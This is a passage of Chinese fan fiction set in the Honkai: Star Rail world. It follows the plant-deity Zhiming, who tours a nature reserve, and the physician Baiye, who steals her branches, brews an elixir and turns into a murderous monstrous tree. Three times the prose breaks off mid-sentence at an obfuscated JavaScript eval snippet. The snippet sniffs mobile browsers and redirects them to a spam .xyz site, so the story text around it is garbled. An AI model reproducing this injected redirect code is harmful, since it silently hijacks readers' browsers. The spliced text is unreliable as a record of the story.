说到底,质明曾经的文明虽然能自己打自己把星系都干碎,但仍然没能完全走出引力的摇篮,而她本人更是在丰饶的卵壳里沉睡了好几个纪元,堪称宅中之宅;而岚,不是在守眠就是在征战,此生没有踏出仙舟一步,星海信息都是通过贸易伙伴得知,也对星神没有更深入的了解。 一时之间,某种无声无息的恐怖悄然降临,质明手一抖,啪嗒一下扔下了界域定锚。开拓的命途造物仍然散发着柔和的蓝光,曾经捧着它的人如今却无暇欣赏。 岚将它捡了起来,放到一边,有些担忧地望向质明。 8. 渊兽 星轨交错,薄云聚散,院落中的两人静默不言。 桌台上的界域定锚散发着稳定、柔和的光芒,质明和岚现在看它却如同洪水猛兽。 自认为没什么见识的宅女无法简单地确定自己几个琥珀纪之前遇见的那位究竟是谁,思考了一会儿便放弃了。岚倒是有些猜测,但看质明没再纠结,也没有妄下定论。 无论是开拓的阿基维利还是丰饶的药师,亦或者别的什么星神,现在离他们都太远了。比起思考几个纪元之前的一面之缘,还是想想那些个洞天提交上来的申请怎么批比较切实际。 也不是说界域定锚就不研究了,只是现在质明有点怵它,暂时先放着吧。 因着第二日休沐,今夜时间也还早,质明没那么着急批复,只是筛选了材料,定下了明日的行程,平常抽不出时间,也只能用休沐日去填。 有些地方得亲自去看看,才知道是怎么回事。她的感知固然可以一瞬间铺满整个星域,自天垂落的视线也能够触及每一个洞天的每一个角落——但是没有这种必要,太阴湿也太人外了。 但毕竟是在休假,质明还是很可怜自己的,明天要视察的洞天只有一个,并且风景优美,结构简单。 她于是一边在玉兆上扣字:“材料填写不完整,不予通过”,一边对岚道:“明日我休沐,有事的话去扶疏天找我。” 扶疏天是原有的数个洞天合并后的产物,一半是圆峤丹鼎司驻地,一半以前是丹鼎司附属药田,现在合并了几个培育种植稀有植物,饲养稀有动物的农牧洞天,和丹鼎司一起划为了大型的生态保护园区。 不同的动植物对环境有不同的需求,所以扶疏天递交上来的天气系统调整报告也是最复杂的,混沌系统的最高操作权限在质明手上,她势必要眼见为实。 岚应下。 次日。 质明一早便到了丹鼎司,先是大略了解了丹鼎司目前的恢复情况,又翻了翻医典和丹方。仙舟人领受长生之后,除了先天不足的天缺,便很少有患病的人,所以这个时期的丹鼎司与其说是医院,不如说是研究院,专司研究长生种的生理机能和丰饶赐福的各种功能。 人类探索未知和折腾自己的精力真是让人叹为观止。 不过在这方面,圆峤丹鼎司还是比不上罗浮丹鼎司术业有专攻。建木毕竟不长在圆峤上,人家罗浮近水楼台先得月,即使长生之果传遍了每一艘仙舟,在研究上,罗浮还是不负它首舰的名头。 不过,现在情况就不一样了。 质明收起丹方,合上典籍,顺着那投向她的目光里最强烈的那一道,看了回去。 那热切地注视着质明的,乃是丹鼎司如今的司鼎,百叶。对这位身着丹鼎司制服的男子质明并不陌生,她在圆峤的政务会议上见过他几次,但那时候此人并无现在这样仿佛期盼着什么的神情——这样的表情几乎有些扭曲这张清秀的脸。 “是你啊,百叶。”质明平静地问候着,既不探究也不询问。 非工作时间,这位司鼎也并未行全礼,只是一拱手:“长桑君莅临,不胜欢喜。” “今日休沐,我只是来逛逛,你不必太在意我。” 听了这话,跟在百叶身边的少年似乎肉眼可见地放松了许多,质明瞥见了,有些奇怪。她无心应酬,但百叶却好似铁了心要纠缠,只听他道:“……某确有一事,不知当讲不当讲。” ……不知道要不要说那就干脆别说,十有八/九不是什么好事。 想是这么想,但丹鼎司司鼎又不是洞天之主,人家没犯事,就不能这么跟他说话,质明只得叹一口气:“但说无妨。” 然后便听见这位司鼎洋洋洒洒,从“罗浮乃仙舟首舰”,说到“领受建木恩赐”,再到“点化凡畜”,落脚到“自在应身”,话里话外都是现在圆峤的丹鼎司如此没落,都是因为丰饶神迹没在圆峤,但“幸得长桑君降居”,“有望荣光遍至”,“与罗浮并驾齐驱”。 得,确实不是什么好事。 质明安静地听完,既没有当场答应也没有直接拒绝,她秉持了一个政治人物应有的谨慎,只是温和地对百叶打了一通官腔:“司鼎所思甚详,只是如今圆峤百废俱兴,正在用人之际,研究一事靡费颇多,非一时一地可定,不如在下旬例会上再行讨论吧。” 这就又是关于邙山洞天公告下发后的影响之一了。仰赖丰饶赐福进行研究的机构必然会产生危机感,认为形势巨变,很容易在这个关头做出往常不会选择的决定。再加上质明丰饶令使的位格,她的本体就是堪比建木的赐福…… 能憋到今天才说,已经算是百叶定力不错了。 但也意味着这个问题即将被摆在明面上,而质明自己的表态就至关重要。从根本上来说,这一件事情是很好解决的,只要表示自己不喜欢把本体拿出来让别人研究就行了,但类似的事情呢? 研究这一行为本身不是问题,问题在于研究之后。研究步离人,研究造翼者,研究别的丰饶民,将他们的科技与生物特征加诸在自己身上,然后呢?这种行为和他们所做的有区别吗? 这一系列思考固然有理论滑坡的谬误在其中,但须知事物的发展一旦有可能以最坏的情况进行,那很大程度上就会这么演变。 但立刻禁绝和封锁有矫枉过正的嫌疑,虽说矫枉必须过正,否则就不叫矫枉,但正如岚当日所说,在邙山洞天兴建之后,倘若再有这样大的决意,未免操之过急。 所以该限制和禁绝的并非研究,而是应用。 之于之后的,反正仙舟人寿命长得很,过个一两百年再提也不迟。 质明任由这些思绪在脑海中乱翻,手里捏着的病历单便一页也没看下去,反正也没有找到想要的东西,她索性放下了医书,推门离开了丹鼎司的室内。 跨过连接建筑群的栈桥,质明走入了植物的园圃。 她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099057|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里能看到一些熟悉的草木,那是她本体根系的浮土上滋养的品种,移栽到了圆峤上也仍然很有活力,开出了一片深深浅浅的花朵。更多是仙舟上的特有品种,质明一边走一遍翻看着目录,发现其中有不少都是从启航古国带来的种子。 三千多年,宇宙航行的特殊环境固然会对动植物的性状产生影响,但就时间来说,即使代代选育栽培,也姑且还能保持一些最初的样貌。所以质明试着从这些或熟悉或陌生的草木走兽上,分析仙舟故土——也就是那神秘古国的信息。 也许对别人来说没什么,但就质明而言,瞧,一颗类地行星,多稀奇。 她一边翻目录介绍一遍往里走,到了深处,便有水汽扑面而来,周遭地形变换,花木逐渐稀疏,显出一片广阔的水泽来。某种巨大而温和的生灵正成群结队地浮出水面换气,像是一座座会喷水的小岛。 这里修建了水中隧道,但质明没有往里走,她到岸边伸手探了探水温,便鱼一样滑进了水里。 她乃是此地生灵万物的宗母,无数的洞天仰赖她的供养,其间的生灵乃至水土都必然亲近她,这是本能,也是规则。所以她与它们亲近无需隔着玻璃,水体就如同她枝叶的一部分一样,无需排斥。 质明潜入水中,看清了这一族群的形貌。这是一群类似于鲸鱼的存在,庞大、温和、聪慧。在仙舟,人们管它叫“渊兽”。这并不是圆峤的原生物种,而是首舰罗浮的舶来品,一直被养在专门的洞天之中供人观赏。 它们与质明要更亲近一些,圆峤滑向红巨星的祸事中,它们生存的洞天缺少维护险些崩溃,是质明无差别救助生灵的藤蔓保住了水体,它们才得以活到被迁移至保护区。 渊兽体型庞大,因而显得动作迟缓,也因为人类听不懂它们特定波长的沟通,所以总认为它们沉默。但质明知道不是这样的,在水中回荡的深沉鸣叫有着不同的情感和内容,它们欢迎她的到来,如同欢迎引领族群的年长雌性。 即使是幼年的渊兽也如同庞然大物,它脱离开母亲,破开水流,顺着波浪来到质明的身边,同她亲近地碰触身体,和她一起游泳,甚至分享了一条有质明半个人那么大的鱼。渊兽特定波长的鸣叫在质明耳中,完全能够近似地理解为小孩子的哼哼唧唧。 最后,这只年轻的渊兽把质明托在自己的背上,游到了水面。 悠远的鸣叫之中,渊兽缓慢而沉重地破开水面,青衣白发的女性扶着背鳍,随着渊兽的动作重见阳光,抬手微微挡在眼纱前。她披散后长而蓬松的白发此时完全被水打湿,如同蜿蜒流淌的月光的河。 岚循着质明的踪迹找来水边时,见到的就是如此景象。 他注意到她笑着,是那种他从没在她脸上看见过的笑容。 她似乎是看见岚了,冲他招了招手,说了一句什么,岚没听清,但他看懂了她的口型。 她在叫他的名字。 “岚——” 9. 寒食 “你我一定要在此处、说话吗……?” 岚向来坚定沉稳的声线如今充满了迟疑和困惑。 “是你说的,不是什么正经事,只是想找我商量一下,难道说你还是想在葳蕤行道办公室谈这些?” 质明温柔沙哑的声线透着几分慵懒:“那我倒也没意见。” “……”岚又不知道该说什么了,只好沉默下来。 质明在见了岚后便离开了那处水泽,但他们现在仍在扶疏天的园圃中。这是一处林间空隙处的草地,选育之后的草种长成了堪称完美的形状,形成的草甸厚实而柔软,十分适合席地而坐。这两人便坐在这里。 圆峤目前的情况已经逐渐稳定下来,不再是之前几个月哪里都捉襟见肘的模样,洞天各处来往的属官行人面上也少了许多愁苦之色,这种变化落到一军一政两位大忙人身上,便是闲暇时间明显变多了。 质明选在今日休沐,岚也一样。不同于质明还养着一个襁褓中的承阳,岚偶尔能看见她哄孩子,在岚这里,质明就是真没见过太多他工作状态之外的样子了,今日一见果然格外新鲜。一听他有话要说,便把人拉来了这里,拍拍草地示意他坐下。 质明一身萱草纹的青衣材质特殊,即使浸了水也并不沉重,上岸片刻的功夫便干了,但她的长发却并非如此,因而此时正一手拢着湿发,一手执着木梳,极富耐心地细细梳理着。木梳穿过湿润的发丝,如此细微的声响在富有生机的林间本是不明显的,但岚仍然表现得像是被吵到,坐得有些远。 质明专心致志地梳头,没注意他刻意拉大的距离,气氛一时安静下来。但林间本就多走兽,又有质明在此,即使旁边的岚僵着一张脸发散着莫名的气场,也不乏动物凑过来。 天上飞的树上爬的地上走的,好像就没有质明引不过来的,一时间这片小小空地上羽毛乱飞,不是“咕咕”就是“嘎嘎”,偶尔夹杂着“嘤嘤”,好不热闹。 直到一条金黄的玉米蛇从岚盘腿坐着的膝盖上慢慢爬过,爬到质明的衣摆上盘成一坨,而此时它的尾巴还搭在前者的膝盖上,我们的岚将军才终于像是不堪忍受一般,说出了开头的那番话。 而对这种景象饶有兴致的长桑君,我们敬爱的质明女士,既不疾言厉色,也不迂回周折,一身手段一个也没动,她就这么等着,等着他把话接下去。 半晌,慢吞吞的玉米蛇终于爬得差不多了,岚拎起它的尾巴放到地上,被尾巴尖不轻不重地抽了一下手指,才终于像是泄了气一般:“某从不知你如此受欢迎。” 质明肩上站着一只姿态清奇的夜鹭,像个长了细腿的枣核,岚看过去,正好对上这只水鸟的正面,差点让他绷不住脸上的表情。夜鹭睥睨了岚一会儿,扇扇翅膀便飞走了,岚的视线追随着水鸟,却冷不丁地听质明理直气壮地道: “我是丰饶令使,你让让我。” 岚那点微妙的心情早被这些古怪的事情冲淡了,他没接质明的怪话,也只当没看见质明蜿蜒的长发如同流淌的月光,转而说起了他自己的事:“某来是为寒食。” 不看那双眼睛的话,质明身上最有丰饶特质的,便是她那一头极长的白发,披散时长及脚踝,簪着长簪也能到达小腿。她梳拢着一捧柔和的银光,随口问着:“一早便定下来的事,同你有什么干系,难不成你手底下的兵想上台又不好意思报节目?” 岚摇摇头,视线刻意地从质明身上移开:“他们多出身市井,混不吝惯了,不会如此扭捏。” 质明快速地抓住了重点:“他们不扭捏,那扭捏的就是你?” “咳……”岚不自在地咳了一声。 见他似乎不打算解释太多,质明卷着自己的长发,思考起来。前些日子在摇光天说起寒食是,这人也没这么不自在,只是最近定下了节庆流程,他那里应该也有一份,难不成是上面有什么问题? 不应该啊,云缨写的策划案没什么问题,上次公告用语晦涩的问题也改了……不是形式,难道是内容? 质明慢慢思索道:“寒食又称禁火,是为纪念夺舍之乱中牺牲的军士与英雄……” 夺舍之乱的英雄,巧了不是,不就是身边这一位么。 “你收拢起义军的过程没有太多波折,乃至于今日军中也没有哗变,多半是和你从前的声望有关。我明白了,从前这声望好用,但现在反倒让你有些为难了。毕竟严格意义上来说你还活着,噗,但是大家就要开始纪念你了……是因为这个吗?” 质明说着说着自己都笑起来。 “不仅如此,军中自己加了一些……很有创意的项目。”岚的用词相当委婉。 质明只看了一眼官方庆祝的舞台,其他组织私底下的节目无需上报到她这个等级,因此也就不太清楚军中究竟为岚准备了什么花活。但看眼前这人的神色,想必十分有趣。 质明下巴抵在屈起的膝盖上,侧头看他:“是想改改还是想躲躲?” 岚摇摇头:“去岁至今颇多纷乱,难得节庆,我也不好扫了军士的兴致,暂避吧。” 质明便含笑道:“那寒食当天承阳归你了,我应了慈幼坊的邀,总不能带着自己的孩子去。而你若是带着个小娃娃,想必也不会被为难……嗯,你只会被承阳为难。” 质明的语气平和轻缓,但岚仍然从中嗅到了不一样的味道,他迅速反问:“慈幼坊?” 梳拢着头发的女人看起来仍然温温柔柔的,她道:“我在的话总不至于让孩子们见到血。” 岚抿着唇,冷嗤一声:“阴魂不散。” “往好处想,这一出过了,剩下的都是暂时不敢跳的蚂蚱,也不错——行了行了不要再讲工作了,很烦的,歇会儿吧你。”说着说着质明都有些恼了。 质明一边说一边摆手,也没注意身后有一头鹿踱着步子走过来,嘴一伸,就叼着她长长的头发开始嚼。 “什么东西——嘶!” 岚愣了一下,便也闷闷地笑起来。 翌日,慈幼坊。 收养孤儿的洞天安置在树冠层的深处,白天的桑叶还好,到了夜里,月桂叶的香气就比别处要浓郁一些。这里的孩子身上都香香的,有的时候比质明自己身上的草木气息都要浓郁。而这处洞天的枝叶也比别的地方垂得低一些,想要攀爬或者嬉戏都很方便。 要是哪个调皮孩子不小心从树枝上摔下去了,被接住的速度也很快。在慈幼坊的工作人员和孩子们看来,桑桂就是他们的保护神,他们亲近质明理所当然。 而小孩子看人多半都带着点直觉系,这一点即使是长生种的孩子也一样。另一方面,生存环境越是恶劣的幼崽,在察言观色和探查危险上就越有天赋,很不幸,圆峤的孩子们很多都有这种天赋。 当发现质明一整天都在慈幼坊没有离开,连公务都是在这里处理之后,即使是年纪最小最迟钝的孩子也能懵懵懂懂明白,这里似乎即将发生什么事情,更遑论那些感知虽不敏锐,但危险嗅觉拉满的大人们。他们仍然不动声色,但其实只要稍有风吹草动,下一瞬就能掏出武器。 金人叛乱才完全镇压不久,这些工作人员多半都是从战场上下来,养成的战斗习惯还没有被平和的生活消磨。质明对他们做了个手势,他们才慢慢镇定下来。 阳光彻底消失在地平线上,巨树的枝叶窸窣,现在的仙舟人很熟悉这样的声音,这是庇护他们的巨木正在改换生命形态,这象征着白日的远去,夜幕的降临。而今天这种声音增加了更多的提示,比如一场烟火的开始,或者一场狩猎的序幕。 即使如今被投入恒星也不会消亡,质明也不太喜欢火——笑话,树怎么会喜欢火。但烟花这种量级的小东西还不至于让她感到不愉,如果这小东西还能吸引孩子们的注意力,让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099058|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意不到那些限制级的画面,那就更功不可没了。 只是可惜了好好的节庆,枝蔓悄然生长时质明散漫地想着,大过节的都在折腾,自己不安生也让别人不安生,究竟图什么呢。 圆月升腾,月桂的香气逐渐浓郁,质明八风不动地看着台上咿咿呀呀的朱明花鼓戏。抓着质明袖子的孩子正是前几天的小代表,她乌黑的眼睛正一眨也不眨地看着质明,台上的动静也没能吸引她的注意。 “要放烟花了哦。”质明温声提醒着。 小小的女孩儿把脸埋在质明的袖子里,在那些深色的萱草花纹上蹭来蹭去,也不说话,就蹭。 质明悄悄地问:“流花是感觉到什么了吗?” 小姑娘垫着脚,贴在质明耳朵边上:“有坏东西。” “真聪明……那这么聪明的你,应该也明白为什么要看烟花,对不对?” 流花很用力地点头。 质明温柔地捧起她的脸,遮住了她的耳朵,让她去看月亮也在的天上。正是燃放烟花的时刻,次第的轰鸣和火光喧嚷起来,点缀星子的夜空瞬间被各种各样的火花铺满,灿烂一瞬而后消弭。 相比之下,藤蔓绞紧人体,花枝刺破皮肤,只能发出半声的哀鸣,实在是无足轻重。 月桂清苦微辛的香气越发浓郁了,压下了丝丝本就不明显的血腥味。 下次要是非要逼着人在过年的时候动手,她就连夜杀到这家洞天把他本人剥光了吊到封云驿大门口,让来来往往的行人都看看是谁过年都不消停。反正仙舟人耐造得很,挂到正月十五再放回去过个上元节吃个断头饭,年节一过就可以处理掉,主打一个方便快捷。 想着一些需要打码的事情,质明表面上还是那么温柔可亲,放开了还攥着她袖子的流花,陪着慈幼坊的孩子们继续看花鼓戏。这次台上的总算不是唱老了的曲,而是换了小孩儿爱看的蹦蹦跳跳吹吹打打,他们不一定看得懂,但是热闹。 第二天上工的时候,质明随口跟在她身边的策士云缨闲聊:“事实上,我还等着更精彩的戏码,希望他们别先哑火了。” 岚和云缨一起看过来,前者不解,后者疑问。 “比如说,他们的异状根本不是我所说的弊病,而是由我带来的瘟疫,目的是得到他们体内的丰饶赐福,我只是在诓骗所有人。”质明如数家珍一般虚构着自己可能的罪状,“我不直接动手是因为我心有顾虑,对平民百姓多有优容是为了诓骗人心,让你们自愿做我的血食……” 她显然对这种泼脏水似的政治宣言异常熟悉,面上带着某种讥诮,目光落在地上,颇有一种虚空索敌都无人送上前来的无趣。 “八成假的两成真的,就能把黑的说成白的,大抵如此。他们如果真的宣传这种言论我倒会高兴些,因为这样你们就可以灌输更多丰饶民的情况了。”圆峤的长桑君语气平常地说着。 忽而,她像是感觉到了什么。不住地抚掌冷笑。 “……你受什么刺激了?”岚冷静地问。 质明像是笑够了,总算看着正常了些,她嗤了一声:“昨晚跑了一个,追到丹鼎司,人就不见了。” “大人之前提过,丹鼎司司鼎百叶,于建木研究上颇有建树……”云缨迟疑着,“此事是否与他有联系?” “不好说,但十之八/九。我担心的不是他勾结贵胄干什么,我担心的是他如果在我未曾察觉、或者注意力转移的时候取用了我的本体——现在看来不用担心了。”质明抬手,轻轻抚了抚遮盖双眼的金纱,语气透着些许冷意,“走吧,希望他现在还有个人样。” 畸形的树占据了小半个扶疏天,白日的桑树落下片片桑叶,桑叶触地便化作淡淡的气体,和丝丝缕缕的气根一起,将那棵畸形的、正在嘶吼或者哀鸣的树捆缚。 “明天就是清明了,你倒是挑了个好日子,百叶。” 10. 创意 郁郁其桑,蓊蓊其桂, 朝阳夕月,明明晦晦。 尔桑何长,尔桂何寿? 不华不实,何解我忧! 口中呢喃着如上诗句,圆峤丹鼎司司鼎百叶,在寒食这个上下欢庆的日子里,独自来到了扶疏天。 楼船驶向深空之后,模拟的天象取代了真实的四季轮转,在这个过程中,仙舟人的很大一部分节庆都失去了实际意义,与之相对,被保留下来的几个就变得更为隆重,寒食是其中之一。而星历3288年的寒食正好在金人之乱平定后,人们更需要一场节庆舒缓压力,圆峤上下更是锣鼓喧天。 这个日子里,绝大多数功能性洞天都只有最基本的留守人员,用以维护设备运转和应付特殊情况。丹鼎司留下的人要多一些,毕竟在节庆里闹腾过了头把自己弄病的不在少数,但百叶要避开这些人并不困难。 其实他要做的事,去慈幼坊要更方便一点,那里桑桂的枝叶垂得很低,伸手就够得到,但一则质明本人如今多半就在慈幼坊,二则……百叶亲自疏通的关系,没有谁会比他更明白那里今晚会有多混乱。 浑水摸鱼是很好,但偷鸡不成蚀把米也不是没可能。 越接近达成目的的时候,就越要谨慎…… 在丹鼎司耕耘了两百多年,百叶深知质明那一套说辞背后的含义。无非是拖延到例会,然后在例会上公开提出来,那几个平时就爱跟她呛声的贵胄一定会反对,而执掌兵权的那位向来同那女人沆瀣一气,她嘴上怎么说不重要,但曜青的那位表达的一定是她的意思。 桑桂是长桑君的本体,她如臂指使的延伸,她如果同意,根本犯不着将其变成公开议题。 委婉的拒绝罢了。 ——可是凭什么! 行使着那般伟力、托举日月的丰饶奇观,凭什么吝啬到给予他一枝一叶都欠奉?用来造福百姓难道不是好事吗?点化动物,活化土壤,开发生物科技,哪一样不是好处,哪一样不比她兢兢业业支起这个烂摊子容易?以长桑君的智慧,不会想不到这些,但是凭什么……凭什么她还是拒绝了? 就像那桑树不开花,月桂不结果,无私的丰饶药师为何有这样自私的令使? 百叶不解,不解到以至于愤怒。而让他更愤怒的是,他意识到了自己仰视桑桂时,对质明微妙的嫉妒。 他不知晓质明的过去,也不明白向丰饶求祈的一切都有诸般代价,他只是想,为什么不是我? 丛生的杂念驱使他行动,让他和一盘散沙的耆宿们勾结串联。百叶当然知道,以质明的位格,如今的圆峤上没有什么能对她造成威胁,但他要做的并不是刀剑相向……他只想暂时转移质明的注意力。 让她短暂地、注意不到自己一部分枝叶被摘下,以及它们的去向。 反正长桑君一惯的装扮是白日簪桑枝夜晚戴月桂,如今圆峤上效法她的人一抓一大把,也不见她加以约束。百叶曾经探寻过那些被人折下的枝叶,发现它们在离开供给之后不久就变成了普通的树枝,这一点也是为什么他如此笃定质明是在委婉拒绝。 因此,只要精心制造一个特定的时机,让质明注意不到本体被触动,没有第一时间截断供给,那么百叶就能以最快时间将那堪比建木的赐福入药服下。届时木已成舟,他百叶顶多算是作奸犯科,慈悲为怀的长桑君必然不会真的将他如何。 有他开先河,相关的研究定然会如同雨后春笋,万物竞发,圆峤丹鼎司兴旺指日可待。 百叶清秀的脸上洋溢着恰到好处的笑容,推开了丹鼎司角落里的一扇门。 今天是个好天气,阳光穿过郁郁青青的桑叶,在砖石的地面上撒下晶亮的光斑。春风和缓,吹得桑桂的枝叶和庭院中的其他树木一起,簌簌作响。百叶并不着急,因为慈幼坊的大戏日落之后才会开始,他便折身回房,烧起了丹炉。 以建木之实为原料的长生药,最初也出自丹炉。不过那并非圆峤的成就,而是永远地属于罗浮。药师的垂青,建木的生发,长生的最先普及,一切的一切,都让仙舟罗浮坐稳了第一把交椅。 想到这里,百叶“啧”了一声。 不过从今往后,罗浮坐不坐得稳,那就另说了。 白日西沉,晚霞渐生,次第晕染的红逐渐占据了小半片天空,看来明天的日头一样好。百叶的心情很不错,他极富耐心地数着自己的心跳,默默等待着他规定好的那一刻。 终于,日落时分,宽大浑圆的桑叶蜷曲着,变成了椭圆的月桂叶,而与此同时,别的洞天震耳欲聋的烟花声也隐隐传来。百叶立即起身,拉下一截桂枝,手上使了处理药材的巧劲折了下来,瞬时便扔进了丹炉中,接着便是一系列紧锣密鼓的程序。 等待丹成的最后时刻,百叶全神贯注地盯着丹炉,却不想从外间传来了家具碰撞的声音。 “谁?!”百叶低声喝道。 “救救我、司鼎大人……救命……”赫然是同他见过面的贵胄下属的声音。 沉重的人体重重地摔在丹室的门上,喘息声逐渐微弱下去,而百叶脚下一步都没动,他只是拧着眉,盯着丹炉。他不打算去救人,比起外头那个卒子的性命,当然是他的丹药重要多了。 而且仙舟人没那么容易死,放一会儿也没事,等他没力气喊了自然就安静了。 哼,丹成之后如果分量足够,说不定这家伙还能分享一二,百叶慷慨地想。 不过……百叶转念一想,他能来这里,身上又受了伤,说明那个计划不出所料地失败了,啧,真是一群废物。这样的废物竟然还能找到丹鼎司这里来,不行,这个地方有暴露的风险,丹成之后要赶快转移。 就在百叶思绪流转之间,丹炉中细微的动静终于安静下来,他又静静等候了片刻,没有杂音和爆炸,这才大喜过望地打开丹炉。只见一枚淡青色,隐隐有着金色纹路的丹药赫然成型,散发着月桂般微苦清新的香气,而又比如今弥漫在夜晚空气中的浓郁许多。 百叶顿时也想不到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099059|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么分享什么恩赐,他直勾勾地看着丹药,清秀的脸上又露出了那种略显扭曲的笑容。下一瞬,他直接拿起丹药,一口吞进了嘴里。丰沛的生机和浓郁的生命力顿时充斥了他的经络与丹腑,他仿佛找回了数百年前刚刚服下不死药时的轻快。 原来这就是、互相吞食的感觉吗? 不够,还不够。他想。 百叶沉默地打开丹室的门,如他所想,从慈幼坊逃回来的家伙还没有死,甚至身上某些细小的伤痕已经逐渐痊愈,只是血流得太多,一时半会儿动不了。他伸手把脉,碰到这人皮肤时,却有一股毛骨悚然的感觉从脊椎窜进他的脑海。 饥饿。 想要吞食什么的饥饿。 他盯着地上的血迹,视线慢慢挪动着,落在男人微微起伏的胸口,像是要把那块皮肉剜下来,百叶艰难地扯开了视线,却在下一瞬又直勾勾地盯着别人的丹腑所在。 这个人,看起来,十分可口。 百叶感到自己的四肢正在生长,骨骼正在拔节,肌肉与皮肤不堪重负地撕裂了,又在下一瞬长出了更加柔韧的。背后的皮肤下鼓出了小包,片刻后便有轻巧的骨骼从中生长出来,接着长出肌腱,覆盖羽翼。他感到自己的指甲发痒,低头一看,尖锐的爪子早已脱离了人类的骨骼结构。 他听见枝叶窸窸窣窣的轻响,它们从自己的心口,从口中,从耳朵,从身上每一个有孔洞的地方生长出来。他看见那是金色的银杏,绿色的桑叶,和带着花朵的月桂。他的视角逐渐混乱模糊起来,因为不止长了一只眼睛;他跌倒了,因为不止一双腿…… 他听见不成调的尖叫,来自刚刚还在昏迷的男人,而自己的手掌——最初那双的其中一只——正划开他腹部的皮肉。柔软的,温暖的,像蛋糕一样。他感到自己越来越高大,身躯越来越坚硬,能看到的、能触摸到的越来越多……越来越多…… 最后,他、不,它冲破了屋顶,无数双眼睛终于看见了——月亮。 散发着柔和银光的恒星已然将要落下了,枝叶窸窣的轻响再次来临,这次是椭圆细长的月桂叶变成了浑圆碧绿的桑叶,萦绕夜晚的香气消弭于无形,这处院落冲天的血腥味便尤为明显,更别说那畸形的肢体,邪异的外表,还有根本听不出是在“说话”的声音。 日光普照的一瞬,百叶好似终于意识到了什么,它的身躯仍然在不断地畸形生长着,碾碎了丹鼎司的建筑物,无形的气根在它向留守的医师伸出利爪时,仿佛凭空而出,将它紧紧捆缚。 “啊啊啊啊!!!”医师的尖叫响彻整个扶疏天。 “我的树枝……这种哪怕是直接泡水喝都不会有事的东西,能让他变成这样,他也实在是很有天赋。”质明面无表情地翻着送来的药渣:“建木神实,造翼者脊髓液,步离人信息素提取物,视肉的活性细胞……这些东西混在一处,再加上桑桂的枝叶,真是有创意。” 所以百叶死的时候长得也很有创意。 岚在心里补充了一句。 11. 拜师 百叶确实是个很神奇的人。 他的神奇之处不在于能够搜集到那么多丰饶民相关的材料,毕竟仙舟在岱舆殉爆之后再没有遭遇过大规模的丰饶民侵袭,但是零星的小股部队还是能遇上的,身为圆峤高层,他有些材料不奇怪;他的神奇之处在于,他能使用药剂破坏质明的生物禁制,却不能预见自己服用之后的效果。 虽然按照他留下的丹方看,达成前一种效果多半也是巧合。 丰饶民的力量本质上都是出自药师,虽然根据种族的演化方向各有不同,但终归揭底是相通的概念。命途能量也是能量,虽然丰饶习惯无中生有,但已有的部分仍然遵循基本法则,即总会从高浓度涌向低浓度。 百叶丹炉里的丰饶民大杂烩也是这个道理。 在加入质明的枝叶之前,炉子里不同的力量已经趋于融合——丰饶民的进化本就离不开互相吞噬和消化,而高位格者的力量加入之后,事态就有了新的变化。她的强大本身就会引来贪婪和觊觎,更何况这份力量还在不断衰弱。 在某些药物和手法的辅助之下,这份本就妙趣横生的丹方更添一分险恶。 最后造就了如今的“百叶”树不像树人不像人,身上同时具有多个丰饶民的特征,但这些不属于它的部分并不服从它大脑的指挥,而是发挥着各自的本能。 属于造翼者的部分渴望着天空,属于视肉的部分无限地增殖,属于步离人的部分残忍嗜血,而属于建木和桑桂的部分……它们渴望土地,渴望生长。 即使百叶没有那么早被发现,它的新身体也会在不久之后各奔东西。 当月下旬的例会上,质明便是这么和与会人员解释的。或许是因为来自文明进度不同的世界,她讲起这些她自己都陌生的概念时深入浅出,简明扼要,丝毫看不出事发之后焦头烂额地研究了很久丹方。 最后,圆峤的长桑君温和地笑着:“怎么样,丰饶命途,很神奇吧?” 没有人回答这个不是问题的问题,于是满座寂静,落针可闻。 质明慢条斯理地看着手中的丹方,她缓缓道:“只我自己而言,我并不乐意哪天发现自己的一部分出现在实验室里。丹鼎司这事闹得大,也压不下去,该知道的不该知道的估计都知道了,确如百叶所想,一旦开头就无法控制……那就都禁绝了吧。” 她的语气轻飘飘的,像是在说今天天气不错:“有意见就说,没意见就散,要扯皮等我走了再扯。” “长桑君三思啊!”丹鼎司刚刚走马上任的新任司鼎躬身而拜,满头大汗,“除了‘自在应身’等丹方,仙舟现下所使用的玉兆技术也源自对建木的研究,万不可统统禁绝!” 质明像是早就料到会有这样的劝说,从善如流道:“既然是司鼎大人提出,那不如就由你牵头,审核梳理现有技术,拿出一个具体名单来,然后我们来商量,那些要禁绝,那些该控制。” 话到了这份儿上,大家也算是挺明白,说全部禁绝只是在吓唬他们,整理出目录和详细才是她的目的。 